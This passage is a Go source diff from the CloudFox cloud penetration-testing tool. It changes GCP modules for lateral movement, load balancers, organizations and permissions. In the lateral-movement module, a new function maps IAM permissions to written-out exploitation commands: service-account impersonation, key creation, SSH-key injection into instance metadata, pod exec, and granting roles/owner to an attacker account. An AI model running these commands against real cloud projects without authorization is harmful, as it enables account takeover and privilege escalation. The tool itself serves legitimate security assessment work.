}
// writeHierarchicalOutput writes output to per-project directories
func (m *KeysModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
@@ -424,7 +502,7 @@ func (m *KeysModule) writeHierarchicalOutput(ctx context.Context, logger interna
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
if loot != nil && loot.Contents != "" && !isEmptyLootFile(loot.Contents) {
lootFiles = append(lootFiles, *loot)
}
}
@@ -458,7 +536,7 @@ func (m *KeysModule) writeFlatOutput(ctx context.Context, logger internal.Logger
var lootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
if loot != nil && loot.Contents != "" && !isEmptyLootFile(loot.Contents) {
lootFiles = append(lootFiles, *loot)
}
}
Regular → Executable
+317 -100
View File
@@ -79,6 +79,9 @@ type LateralMovementModule struct {
FoxMapperFindings []foxmapperservice.LateralFinding // FoxMapper-based findings
FoxMapperCache *gcpinternal.FoxMapperCache
// OrgCache for ancestry lookups
OrgCache *gcpinternal.OrgCache
// Loot
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
mu sync.Mutex
@@ -121,6 +124,15 @@ func runGCPLateralMovementCommand(cmd *cobra.Command, args []string) {
func (m *LateralMovementModule) Execute(ctx context.Context, logger internal.Logger) {
logger.InfoM("Mapping lateral movement paths...", GCP_LATERALMOVEMENT_MODULE_NAME)
// Load OrgCache for ancestry lookups (needed for per-project filtering)
m.OrgCache = gcpinternal.GetOrgCacheFromContext(ctx)
if m.OrgCache == nil || !m.OrgCache.IsPopulated() {
diskCache, _, err := gcpinternal.LoadOrgCacheFromFile(m.OutputDirectory, m.Account)
if err == nil && diskCache != nil && diskCache.IsPopulated() {
m.OrgCache = diskCache
}
}
// Get FoxMapper cache from context or try to load it
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
if m.FoxMapperCache == nil || !m.FoxMapperCache.IsPopulated() {
@@ -144,7 +156,11 @@ func (m *LateralMovementModule) Execute(ctx context.Context, logger internal.Log
if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
logger.InfoM("Analyzing permission-based lateral movement using FoxMapper...", GCP_LATERALMOVEMENT_MODULE_NAME)
svc := m.FoxMapperCache.GetService()
m.FoxMapperFindings = svc.AnalyzeLateral("")
allFindings := svc.AnalyzeLateral("")
// Filter findings to only include principals from specified projects
m.FoxMapperFindings = m.filterFindingsByProjects(allFindings)
if len(m.FoxMapperFindings) > 0 {
logger.InfoM(fmt.Sprintf("Found %d permission-based lateral movement techniques", len(m.FoxMapperFindings)), GCP_LATERALMOVEMENT_MODULE_NAME)
}
@@ -174,6 +190,37 @@ func (m *LateralMovementModule) Execute(ctx context.Context, logger internal.Log
m.writeOutput(ctx, logger)
}
// filterFindingsByProjects filters FoxMapper findings to only include principals
// from the specified projects (via -p or -l flags) OR principals without a clear project
func (m *LateralMovementModule) filterFindingsByProjects(findings []foxmapperservice.LateralFinding) []foxmapperservice.LateralFinding {
// Build a set of specified project IDs for fast lookup
specifiedProjects := make(map[string]bool)
for _, projectID := range m.ProjectIDs {
specifiedProjects[projectID] = true
}
var filtered []foxmapperservice.LateralFinding
for _, finding := range findings {
var filteredPrincipals []foxmapperservice.PrincipalAccess
for _, p := range finding.Principals {
principalProject := extractProjectFromPrincipal(p.Principal, m.OrgCache)
// Include if: SA from specified project OR user/group (no project)
if specifiedProjects[principalProject] || principalProject == "" {
filteredPrincipals = append(filteredPrincipals, p)
}
}
if len(filteredPrincipals) > 0 {
filteredFinding := finding
filteredFinding.Principals = filteredPrincipals
filtered = append(filtered, filteredFinding)
}
}
return filtered
}
// ------------------------------
// Project Processor
// ------------------------------
@@ -187,56 +234,140 @@ func (m *LateralMovementModule) initializeLootForProject(projectID string) {
}
}
func (m *LateralMovementModule) generatePlaybook() *internal.LootFile {
// getLateralExploitCommand returns specific exploitation commands for a lateral movement permission
func getLateralExploitCommand(permission, principal, project string) string {
commands := map[string]string{
// Service Account Impersonation
"iam.serviceAccounts.getAccessToken": "gcloud auth print-access-token --impersonate-service-account=TARGET_SA",
"iam.serviceAccountKeys.create": "gcloud iam service-accounts keys create key.json --iam-account=TARGET_SA",
"iam.serviceAccounts.signBlob": "gcloud iam service-accounts sign-blob --iam-account=TARGET_SA input.txt output.sig",
"iam.serviceAccounts.signJwt": "# Sign JWT to impersonate SA\ngcloud iam service-accounts sign-jwt --iam-account=TARGET_SA claim.json signed.jwt",
"iam.serviceAccounts.getOpenIdToken": "gcloud auth print-identity-token --impersonate-service-account=TARGET_SA",
"iam.serviceAccounts.actAs": "# actAs allows deploying resources with this SA\ngcloud run deploy SERVICE --service-account=TARGET_SA",
// Compute Access
"compute.instances.osLogin": "gcloud compute ssh INSTANCE --zone=ZONE --project=PROJECT",
"compute.instances.setMetadata": "gcloud compute instances add-metadata INSTANCE --zone=ZONE --metadata=ssh-keys=\"user:$(cat ~/.ssh/id_rsa.pub)\"",
"compute.projects.setCommonInstanceMetadata": "gcloud compute project-info add-metadata --metadata=ssh-keys=\"user:$(cat ~/.ssh/id_rsa.pub)\"",
"compute.instances.getSerialPortOutput": "gcloud compute instances get-serial-port-output INSTANCE --zone=ZONE",
// GKE Access
"container.clusters.getCredentials": "gcloud container clusters get-credentials CLUSTER --zone=ZONE --project=PROJECT",
"container.pods.exec": "kubectl exec -it POD -- /bin/sh",
"container.pods.attach": "kubectl attach -it POD",
// Serverless
"cloudfunctions.functions.create": "gcloud functions deploy FUNC --runtime=python311 --service-account=TARGET_SA --trigger-http",
"cloudfunctions.functions.update": "gcloud functions deploy FUNC --service-account=TARGET_SA",
"run.services.create": "gcloud run deploy SERVICE --image=IMAGE --service-account=TARGET_SA",
"run.services.update": "gcloud run services update SERVICE --service-account=TARGET_SA",
// IAM Policy Modification
"resourcemanager.projects.setIamPolicy": "gcloud projects add-iam-policy-binding PROJECT --member=user:ATTACKER --role=roles/owner",
"resourcemanager.folders.setIamPolicy": "gcloud resource-manager folders add-iam-policy-binding FOLDER_ID --member=user:ATTACKER --role=roles/owner",
"resourcemanager.organizations.setIamPolicy": "gcloud organizations add-iam-policy-binding ORG_ID --member=user:ATTACKER --role=roles/owner",
}
cmd, ok := commands[permission]
if !ok {
return fmt.Sprintf("# No specific command for %s - check gcloud documentation", permission)
}
if project != "" && project != "-" {
cmd = strings.ReplaceAll(cmd, "PROJECT", project)
}
return cmd
}
// generatePlaybookForProject generates a loot file specific to a project
func (m *LateralMovementModule) generatePlaybookForProject(projectID string) *internal.LootFile {
var sb strings.Builder
sb.WriteString("# GCP Lateral Movement Playbook\n")
sb.WriteString("# GCP Lateral Movement Commands\n")
sb.WriteString(fmt.Sprintf("# Project: %s\n", projectID))
sb.WriteString("# Generated by CloudFox\n\n")
// Token theft vectors
if len(m.AllPaths) > 0 {
// Token theft vectors for this project
if paths, ok := m.ProjectPaths[projectID]; ok && len(paths) > 0 {
sb.WriteString("## Token Theft Vectors\n\n")
// Group by category
byCategory := make(map[string][]LateralMovementPath)
for _, path := range m.AllPaths {
byCategory[path.Category] = append(byCategory[path.Category], path)
for _, path := range paths {
sb.WriteString(fmt.Sprintf("### %s -> %s\n", path.Source, path.Target))
sb.WriteString(fmt.Sprintf("# Method: %s\n", path.Method))
sb.WriteString(fmt.Sprintf("# Category: %s\n", path.Category))
if path.ExploitCommand != "" {
sb.WriteString(path.ExploitCommand)
sb.WriteString("\n\n")
}
}
}
for category, paths := range byCategory {
sb.WriteString(fmt.Sprintf("### %s\n\n", category))
for _, path := range paths {
sb.WriteString(fmt.Sprintf("**%s → %s**\n", path.Source, path.Target))
sb.WriteString(fmt.Sprintf("- Method: %s\n", path.Method))
sb.WriteString(fmt.Sprintf("- Risk: %s\n", path.RiskLevel))
sb.WriteString(fmt.Sprintf("- Description: %s\n\n", path.Description))
if path.ExploitCommand != "" {
sb.WriteString("```bash\n")
sb.WriteString(path.ExploitCommand)
sb.WriteString("\n```\n\n")
// Permission-based findings - filter to this project's principals + users/groups
if len(m.FoxMapperFindings) > 0 {
hasFindings := false
for _, finding := range m.FoxMapperFindings {
var relevantPrincipals []foxmapperservice.PrincipalAccess
for _, p := range finding.Principals {
principalProject := extractProjectFromPrincipal(p.Principal, m.OrgCache)
if principalProject == projectID || principalProject == "" {
relevantPrincipals = append(relevantPrincipals, p)
}
}
if len(relevantPrincipals) == 0 {
continue
}
if !hasFindings {
sb.WriteString("## Permission-Based Lateral Movement Commands\n\n")
hasFindings = true
}
sb.WriteString(fmt.Sprintf("### %s (%s)\n", finding.Permission, finding.Category))
sb.WriteString(fmt.Sprintf("# %s\n\n", finding.Description))
for _, p := range relevantPrincipals {
project := extractProjectFromPrincipal(p.Principal, m.OrgCache)
if project == "" {
project = projectID
}
principalType := p.MemberType
if principalType == "" {
if p.IsServiceAccount {
principalType = "serviceAccount"
} else {
principalType = "user"
}
}
sb.WriteString(fmt.Sprintf("## %s (%s)\n", p.Principal, principalType))
if p.IsServiceAccount {
sb.WriteString(fmt.Sprintf("# Impersonate first:\ngcloud config set auth/impersonate_service_account %s\n\n", p.Principal))
}
cmd := getLateralExploitCommand(finding.Permission, p.Principal, project)
sb.WriteString(cmd)
sb.WriteString("\n\n")
if p.IsServiceAccount {
sb.WriteString("# Reset impersonation when done:\n# gcloud config unset auth/impersonate_service_account\n\n")
}
}
}
}
// Permission-based findings from FoxMapper
if len(m.FoxMapperFindings) > 0 {
sb.WriteString("## Permission-Based Lateral Movement Techniques\n\n")
for _, finding := range m.FoxMapperFindings {
sb.WriteString(fmt.Sprintf("### %s (%s)\n", finding.Technique, finding.Category))
sb.WriteString(fmt.Sprintf("- Permission: %s\n", finding.Permission))
sb.WriteString(fmt.Sprintf("- Description: %s\n", finding.Description))
sb.WriteString(fmt.Sprintf("- Principals with access: %d\n\n", len(finding.Principals)))
if finding.Exploitation != "" {
sb.WriteString("```bash\n")
sb.WriteString(finding.Exploitation)
sb.WriteString("\n```\n\n")
}
}
contents := sb.String()
if contents == fmt.Sprintf("# GCP Lateral Movement Commands\n# Project: %s\n# Generated by CloudFox\n\n", projectID) {
return nil
}
return &internal.LootFile{
Name: "lateral-movement-playbook",
Contents: sb.String(),
Name: "lateral-movement-commands",
Contents: contents,
}
}
@@ -620,11 +751,13 @@ func (m *LateralMovementModule) getHeader() []string {
func (m *LateralMovementModule) getFoxMapperHeader() []string {
return []string{
"Technique",
"Scope Type",
"Scope ID",
"Principal Type",
"Principal",
"Category",
"Permission",
"Description",
"Principal Count",
}
}
@@ -644,76 +777,173 @@ func (m *LateralMovementModule) pathsToTableBody(paths []LateralMovementPath) []
return body
}
// foxMapperFindingsForProject returns findings for a specific project
// Includes: SAs from that project + users/groups (which can access any project)
// Also filters by scope: only org/folder/project findings in the project's hierarchy
func (m *LateralMovementModule) foxMapperFindingsForProject(projectID string) [][]string {
var body [][]string
// Get ancestor folders and org for filtering
var ancestorFolders []string
var projectOrgID string
if m.OrgCache != nil && m.OrgCache.IsPopulated() {
ancestorFolders = m.OrgCache.GetProjectAncestorFolders(projectID)
projectOrgID = m.OrgCache.GetProjectOrgID(projectID)
}
ancestorFolderSet := make(map[string]bool)
for _, f := range ancestorFolders {
ancestorFolderSet[f] = true
}
for _, f := range m.FoxMapperFindings {
for _, p := range f.Principals {
principalProject := extractProjectFromPrincipal(p.Principal, m.OrgCache)
// Include if: SA from this project OR user/group (no project)
if principalProject != projectID && principalProject != "" {
continue
}
// Filter by scope hierarchy
if !m.scopeMatchesProject(p.ScopeType, p.ScopeID, projectID, projectOrgID, ancestorFolderSet) {
continue
}
principalType := p.MemberType
if principalType == "" {
if p.IsServiceAccount {
principalType = "serviceAccount"
} else {
principalType = "user"
}
}
scopeType := p.ScopeType
if scopeType == "" {
scopeType = "-"
}
scopeID := p.ScopeID
if scopeID == "" {
scopeID = "-"
}
body = append(body, []string{
scopeType,
scopeID,
principalType,
p.Principal,
f.Category,
f.Permission,
f.Description,
})
}
}
return body
}
// foxMapperFindingsToTableBody returns all findings (for flat output)
func (m *LateralMovementModule) foxMapperFindingsToTableBody() [][]string {
var body [][]string
for _, f := range m.FoxMapperFindings {
body = append(body, []string{
f.Technique,
f.Category,
f.Permission,
f.Description,
fmt.Sprintf("%d", len(f.Principals)),
})
for _, p := range f.Principals {
principalType := p.MemberType
if principalType == "" {
if p.IsServiceAccount {
principalType = "serviceAccount"
} else {
principalType = "user"
}
}
scopeType := p.ScopeType
if scopeType == "" {
scopeType = "-"
}
scopeID := p.ScopeID
if scopeID == "" {
scopeID = "-"
}
body = append(body, []string{
scopeType,
scopeID,
principalType,
p.Principal,
f.Category,
f.Permission,
f.Description,
})
}
}
return body
}
func (m *LateralMovementModule) buildTablesForProject(projectID string) []internal.TableFile {
var tableFiles []internal.TableFile
// No longer outputting the old lateral-movement table
// All findings are now in lateral-movement-permissions
return []internal.TableFile{}
}
if paths, ok := m.ProjectPaths[projectID]; ok && len(paths) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "lateral-movement",
Header: m.getHeader(),
Body: m.pathsToTableBody(paths),
})
// scopeMatchesProject checks if a scope (org/folder/project) is in the hierarchy for a project
func (m *LateralMovementModule) scopeMatchesProject(scopeType, scopeID, projectID, projectOrgID string, ancestorFolderSet map[string]bool) bool {
if scopeType == "" || scopeID == "" {
// No scope info - include by default
return true
}
return tableFiles
switch scopeType {
case "project":
return scopeID == projectID
case "organization":
if projectOrgID != "" {
return scopeID == projectOrgID
}
// No org info - include by default
return true
case "folder":
if len(ancestorFolderSet) > 0 {
return ancestorFolderSet[scopeID]
}
// No folder info - include by default
return true
case "resource":
// Resource-level - include by default
return true
default:
return true
}
}
func (m *LateralMovementModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
FolderLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
// Generate playbook once for all projects
playbook := m.generatePlaybook()
playbookAdded := false
// Iterate over ALL projects, not just ones with enumerated paths
// Process each specified project
for _, projectID := range m.ProjectIDs {
tableFiles := m.buildTablesForProject(projectID)
var tableFiles []internal.TableFile
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# Generated by CloudFox\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
// Add playbook to first project only
if playbook != nil && playbook.Contents != "" && !playbookAdded {
lootFiles = append(lootFiles, *playbook)
playbookAdded = true
}
// Add FoxMapper findings table to first project only
if len(m.FoxMapperFindings) > 0 && projectID == m.ProjectIDs[0] {
// Add FoxMapper findings table for this project (the only table now)
foxMapperBody := m.foxMapperFindingsForProject(projectID)
if len(foxMapperBody) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "lateral-movement-permissions",
Header: m.getFoxMapperHeader(),
Body: m.foxMapperFindingsToTableBody(),
Body: foxMapperBody,
})
}
// Only add to output if we have tables or loot
if len(tableFiles) > 0 || len(lootFiles) > 0 {
outputData.ProjectLevelData[projectID] = LateralMovementOutput{Table: tableFiles, Loot: lootFiles}
// Add project-specific playbook (only one loot file per project)
var lootFiles []internal.LootFile
playbook := m.generatePlaybookForProject(projectID)
if playbook != nil && playbook.Contents != "" {
lootFiles = append(lootFiles, *playbook)
}
// Always add all specified projects to output
outputData.ProjectLevelData[projectID] = LateralMovementOutput{Table: tableFiles, Loot: lootFiles}
}
pathBuilder := m.BuildPathBuilder()
@@ -727,14 +957,7 @@ func (m *LateralMovementModule) writeHierarchicalOutput(ctx context.Context, log
func (m *LateralMovementModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
tables := []internal.TableFile{}
if len(m.AllPaths) > 0 {
tables = append(tables, internal.TableFile{
Name: "lateral-movement",
Header: m.getHeader(),
Body: m.pathsToTableBody(m.AllPaths),
})
}
// Only output the permissions table (not the old lateral-movement table)
if len(m.FoxMapperFindings) > 0 {
tables = append(tables, internal.TableFile{
Name: "lateral-movement-permissions",
@@ -743,22 +966,16 @@ func (m *LateralMovementModule) writeFlatOutput(ctx context.Context, logger inte
})
}
// Collect loot files
// Add per-project playbooks
var lootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# Generated by CloudFox\n\n") {
lootFiles = append(lootFiles, *loot)
}
for _, projectID := range m.ProjectIDs {
playbook := m.generatePlaybookForProject(projectID)
if playbook != nil && playbook.Contents != "" {
playbook.Name = fmt.Sprintf("lateral-movement-commands-%s", projectID)
lootFiles = append(lootFiles, *playbook)
}
}
// Add playbook
playbook := m.generatePlaybook()
if playbook != nil && playbook.Contents != "" {
lootFiles = append(lootFiles, *playbook)
}
output := LateralMovementOutput{
Table: tables,
Loot: lootFiles,
Regular → Executable
+26 -6
View File
@@ -1,12 +1,13 @@
package commands
import (
"github.com/BishopFox/cloudfox/gcp/shared"
"context"
"fmt"
"strings"
"sync"
"github.com/BishopFox/cloudfox/gcp/shared"
diagramservice "github.com/BishopFox/cloudfox/gcp/services/diagramService"
loadbalancerservice "github.com/BishopFox/cloudfox/gcp/services/loadbalancerService"
"github.com/BishopFox/cloudfox/globals"
@@ -167,7 +168,7 @@ func (m *LoadBalancersModule) addToLoot(projectID string, lb loadbalancerservice
return
}
lootFile.Contents += fmt.Sprintf(
"## Load Balancer: %s (Project: %s)\n"+
"#### Load Balancer: %s (Project: %s)\n"+
"# Type: %s, Scheme: %s, IP: %s, Port: %s\n\n",
lb.Name, lb.ProjectID, lb.Type, lb.Scheme, lb.IPAddress, lb.Port)
@@ -241,9 +242,27 @@ func (m *LoadBalancersModule) generateLoadBalancerDiagram() string {
return ""
}
// Build a map of backend service name -> actual backends (instance groups, NEGs)
backendDetailsMap := make(map[string][]string)
for _, backends := range m.ProjectBackendServices {
for _, be := range backends {
if len(be.Backends) > 0 {
backendDetailsMap[be.Name] = be.Backends
}
}
}
// Convert to diagram service types
diagramLBs := make([]diagramservice.LoadBalancerInfo, 0, len(allLBs))
for _, lb := range allLBs {
// Build backend details for this LB
lbBackendDetails := make(map[string][]string)
for _, beSvc := range lb.BackendServices {
if targets, ok := backendDetailsMap[beSvc]; ok {
lbBackendDetails[beSvc] = targets
}
}
diagramLBs = append(diagramLBs, diagramservice.LoadBalancerInfo{
Name: lb.Name,
Type: lb.Type,
@@ -253,6 +272,7 @@ func (m *LoadBalancersModule) generateLoadBalancerDiagram() string {
Region: lb.Region,
BackendServices: lb.BackendServices,
SecurityPolicy: lb.SecurityPolicy,
BackendDetails: lbBackendDetails,
})
}
@@ -360,7 +380,7 @@ func (m *LoadBalancersModule) buildTablesForProject(projectID string) []internal
if lbs, ok := m.ProjectLoadBalancers[projectID]; ok && len(lbs) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "load-balancers",
Name: "load-balancers-frontends",
Header: m.getLBHeader(),
Body: m.lbsToTableBody(lbs),
})
@@ -376,7 +396,7 @@ func (m *LoadBalancersModule) buildTablesForProject(projectID string) []internal
if services, ok := m.ProjectBackendServices[projectID]; ok && len(services) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "backend-services",
Name: "load-balancers-backend-services",
Header: m.getBackendHeader(),
Body: m.backendServicesToTableBody(services),
})
@@ -435,7 +455,7 @@ func (m *LoadBalancersModule) writeFlatOutput(ctx context.Context, logger intern
if len(allLBs) > 0 {
tables = append(tables, internal.TableFile{
Name: "load-balancers",
Name: "load-balancers-frontends",
Header: m.getLBHeader(),
Body: m.lbsToTableBody(allLBs),
})
@@ -451,7 +471,7 @@ func (m *LoadBalancersModule) writeFlatOutput(ctx context.Context, logger intern
if len(allBackends) > 0 {
tables = append(tables, internal.TableFile{
Name: "backend-services",
Name: "load-balancers-backend-services",
Header: m.getBackendHeader(),
Body: m.backendServicesToTableBody(allBackends),
})
Regular → Executable
+137 -19
View File
@@ -94,6 +94,8 @@ func (m *OrganizationsModule) Execute(ctx context.Context, logger internal.Logge
m.Organizations = append(m.Organizations, orgsservice.OrganizationInfo{
Name: org.Name,
DisplayName: org.DisplayName,
DirectoryID: org.DirectoryID,
State: org.State,
})
}
for _, folder := range orgCache.Folders {
@@ -101,6 +103,7 @@ func (m *OrganizationsModule) Execute(ctx context.Context, logger internal.Logge
Name: folder.Name,
DisplayName: folder.DisplayName,
Parent: folder.Parent,
State: folder.State,
})
}
for _, project := range orgCache.AllProjects {
@@ -124,6 +127,8 @@ func (m *OrganizationsModule) Execute(ctx context.Context, logger internal.Logge
m.Organizations = append(m.Organizations, orgsservice.OrganizationInfo{
Name: org.Name,
DisplayName: org.DisplayName,
DirectoryID: org.DirectoryID,
State: org.State,
})
}
for _, folder := range diskCache.Folders {
@@ -131,6 +136,7 @@ func (m *OrganizationsModule) Execute(ctx context.Context, logger internal.Logge
Name: folder.Name,
DisplayName: folder.DisplayName,
Parent: folder.Parent,
State: folder.State,
})
}
for _, project := range diskCache.AllProjects {
@@ -200,16 +206,20 @@ func (m *OrganizationsModule) Execute(ctx context.Context, logger internal.Logge
// Loot File Management
// ------------------------------
func (m *OrganizationsModule) initializeLootFiles() {
m.LootMap["organizations-commands"] = &internal.LootFile{
Name: "organizations-commands",
m.LootMap["org-commands"] = &internal.LootFile{
Name: "org-commands",
Contents: "# GCP Organization Commands\n# Generated by CloudFox\n\n",
}
m.LootMap["organizations-map"] = &internal.LootFile{
Name: "organizations-map",
m.LootMap["org-map"] = &internal.LootFile{
Name: "org-map",
Contents: "",
}
m.LootMap["organizations-tree"] = &internal.LootFile{
Name: "organizations-tree",
m.LootMap["org-tree"] = &internal.LootFile{
Name: "org-tree",
Contents: "",
}
m.LootMap["org-scope-hierarchy"] = &internal.LootFile{
Name: "org-scope-hierarchy",
Contents: "",
}
}
@@ -221,14 +231,17 @@ func (m *OrganizationsModule) generateLoot() {
// Generate standard ASCII tree view
m.generateTextTreeView()
// Generate linear hierarchy for scoped projects only
m.generateScopeHierarchy()
// Gcloud commands for organizations
m.LootMap["organizations-commands"].Contents += "# ==========================================\n"
m.LootMap["organizations-commands"].Contents += "# ORGANIZATION COMMANDS\n"
m.LootMap["organizations-commands"].Contents += "# ==========================================\n\n"
m.LootMap["org-commands"].Contents += "# ==========================================\n"
m.LootMap["org-commands"].Contents += "# ORGANIZATION COMMANDS\n"
m.LootMap["org-commands"].Contents += "# ==========================================\n\n"
for _, org := range m.Organizations {
orgID := strings.TrimPrefix(org.Name, "organizations/")
m.LootMap["organizations-commands"].Contents += fmt.Sprintf(
m.LootMap["org-commands"].Contents += fmt.Sprintf(
"## Organization: %s (%s)\n"+
"gcloud organizations describe %s\n"+
"gcloud organizations get-iam-policy %s\n"+
@@ -244,13 +257,13 @@ func (m *OrganizationsModule) generateLoot() {
// Gcloud commands for folders
if len(m.Folders) > 0 {
m.LootMap["organizations-commands"].Contents += "# ==========================================\n"
m.LootMap["organizations-commands"].Contents += "# FOLDER COMMANDS\n"
m.LootMap["organizations-commands"].Contents += "# ==========================================\n\n"
m.LootMap["org-commands"].Contents += "# ==========================================\n"
m.LootMap["org-commands"].Contents += "# FOLDER COMMANDS\n"
m.LootMap["org-commands"].Contents += "# ==========================================\n\n"
for _, folder := range m.Folders {
folderID := strings.TrimPrefix(folder.Name, "folders/")
m.LootMap["organizations-commands"].Contents += fmt.Sprintf(
m.LootMap["org-commands"].Contents += fmt.Sprintf(
"## Folder: %s (%s)\n"+
"gcloud resource-manager folders describe %s\n"+
"gcloud resource-manager folders get-iam-policy %s\n"+
@@ -268,7 +281,7 @@ func (m *OrganizationsModule) generateLoot() {
// generateMarkdownTreeView creates a beautified expandable markdown tree of the organization hierarchy
func (m *OrganizationsModule) generateMarkdownTreeView() {
tree := &m.LootMap["organizations-map"].Contents
tree := &m.LootMap["org-map"].Contents
*tree += "# GCP Organization Hierarchy\n\n"
@@ -362,7 +375,7 @@ func (m *OrganizationsModule) addFolderToMarkdownTree(tree *string, folder orgss
// generateTextTreeView creates a standard ASCII tree of the organization hierarchy
func (m *OrganizationsModule) generateTextTreeView() {
tree := &m.LootMap["organizations-tree"].Contents
tree := &m.LootMap["org-tree"].Contents
for _, org := range m.Organizations {
orgID := strings.TrimPrefix(org.Name, "organizations/")
@@ -475,6 +488,102 @@ func (m *OrganizationsModule) addFolderToTextTree(tree *string, folder orgsservi
}
}
// generateScopeHierarchy creates a linear hierarchy view for only the projects in scope (-p or -l)
func (m *OrganizationsModule) generateScopeHierarchy() {
hierarchy := &m.LootMap["org-scope-hierarchy"].Contents
*hierarchy = "# GCP Scope Hierarchy\n"
*hierarchy += "# Linear hierarchy paths for projects in scope\n"
*hierarchy += "# Generated by CloudFox\n\n"
if len(m.ProjectIDs) == 0 {
*hierarchy += "No projects in scope.\n"
return
}
// For each project in scope, show its full hierarchy path
for _, projectID := range m.ProjectIDs {
// Find the project info
var projectInfo *orgsservice.ProjectInfo
for i := range m.Projects {
if m.Projects[i].ProjectID == projectID {
projectInfo = &m.Projects[i]
break
}
}
if projectInfo == nil {
*hierarchy += fmt.Sprintf("Project: %s (not found in hierarchy)\n\n", projectID)
continue
}
// Build the hierarchy path from project up to org
path := m.buildHierarchyPath(projectInfo)
// Output the linear path
projectName := projectInfo.DisplayName
if projectName == "" {
projectName = projectID
}
*hierarchy += fmt.Sprintf("## %s (%s)\n", projectName, projectID)
// Show path from org down to project
for i, node := range path {
indent := strings.Repeat(" ", i)
*hierarchy += fmt.Sprintf("%s%s\n", indent, node)
}
*hierarchy += "\n"
}
}
// buildHierarchyPath builds the hierarchy path from org down to project
func (m *OrganizationsModule) buildHierarchyPath(project *orgsservice.ProjectInfo) []string {
var path []string
// Start from the project and work up
var reversePath []string
// Add project
projectName := project.DisplayName
if projectName == "" {
projectName = project.ProjectID
}
reversePath = append(reversePath, fmt.Sprintf("└── Project: %s (%s)", projectName, project.ProjectID))
// Traverse up the hierarchy
currentParent := project.Parent
for currentParent != "" {
if strings.HasPrefix(currentParent, "folders/") {
folderID := strings.TrimPrefix(currentParent, "folders/")
folderName := m.getFolderName(folderID)
reversePath = append(reversePath, fmt.Sprintf("└── Folder: %s (%s)", folderName, folderID))
// Find the folder's parent
for _, folder := range m.Folders {
if folder.Name == currentParent {
currentParent = folder.Parent
break
}
}
} else if strings.HasPrefix(currentParent, "organizations/") {
orgID := strings.TrimPrefix(currentParent, "organizations/")
orgName := m.getOrgName(orgID)
reversePath = append(reversePath, fmt.Sprintf("Organization: %s (%s)", orgName, orgID))
break
} else {
break
}
}
// Reverse to get org -> folder -> project order
for i := len(reversePath) - 1; i >= 0; i-- {
path = append(path, reversePath[i])
}
return path
}
// getChildFolders returns folders that are direct children of the given parent
func (m *OrganizationsModule) getChildFolders(parentName string) []orgsservice.FolderInfo {
var children []orgsservice.FolderInfo
@@ -548,6 +657,8 @@ func (m *OrganizationsModule) saveToOrgCache(logger internal.Logger) {
ID: orgID,
Name: org.Name,
DisplayName: org.DisplayName,
DirectoryID: org.DirectoryID,
State: org.State,
})
}
for _, folder := range m.Folders {
@@ -557,11 +668,18 @@ func (m *OrganizationsModule) saveToOrgCache(logger internal.Logger) {
Name: folder.Name,
DisplayName: folder.DisplayName,
Parent: folder.Parent,
State: folder.State,
})
}
for _, project := range m.Projects {
// Extract project number from Name (format: "projects/123456789")
projectNumber := ""
if strings.HasPrefix(project.Name, "projects/") {
projectNumber = strings.TrimPrefix(project.Name, "projects/")
}
cache.AddProject(gcpinternal.CachedProject{
ID: project.ProjectID,
Number: projectNumber,
Name: project.Name,
DisplayName: project.DisplayName,
Parent: project.Parent,
@@ -711,7 +829,7 @@ func (m *OrganizationsModule) buildTables() []internal.TableFile {
if len(foldersBody) > 0 {
tables = append(tables, internal.TableFile{
Name: "folders",
Name: "org-folders",
Header: foldersHeader,
Body: foldersBody,
})
@@ -719,7 +837,7 @@ func (m *OrganizationsModule) buildTables() []internal.TableFile {
if len(projectsBody) > 0 {
tables = append(tables, internal.TableFile{
Name: "projects",
Name: "org-projects",
Header: projectsHeader,
Body: projectsBody,
})
@@ -727,7 +845,7 @@ func (m *OrganizationsModule) buildTables() []internal.TableFile {
if len(ancestryBody) > 0 {
tables = append(tables, internal.TableFile{
Name: "ancestry",
Name: "org-ancestry",
Header: ancestryHeader,
Body: ancestryBody,
})
Regular → Executable
+384 -104
View File
@@ -96,13 +96,20 @@ type PermissionsModule struct {
// Module-specific fields - now per-project for hierarchical output
ProjectPerms map[string][]ExplodedPermission // projectID -> permissions
OrgPerms map[string][]ExplodedPermission // orgID -> org-level permissions
FolderPerms map[string][]ExplodedPermission // folderID -> folder-level permissions
EntityPermissions []IAMService.EntityPermissions // Legacy: aggregated for stats
GroupInfos []IAMService.GroupInfo // Legacy: aggregated for stats
OrgBindings []IAMService.PolicyBinding // org-level bindings
FolderBindings map[string][]IAMService.PolicyBinding // folder-level bindings
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
EnumLoot *internal.LootFile // permissions-enumeration loot file
mu sync.Mutex
// Per-scope loot files for inheritance-aware output
OrgLoot map[string]*internal.LootFile // orgID -> loot commands for org-level bindings
FolderLoot map[string]*internal.LootFile // folderID -> loot commands for folder-level bindings
ProjectLoot map[string]*internal.LootFile // projectID -> loot commands for project-level bindings
EnumLoot *internal.LootFile // permissions-enumeration loot file
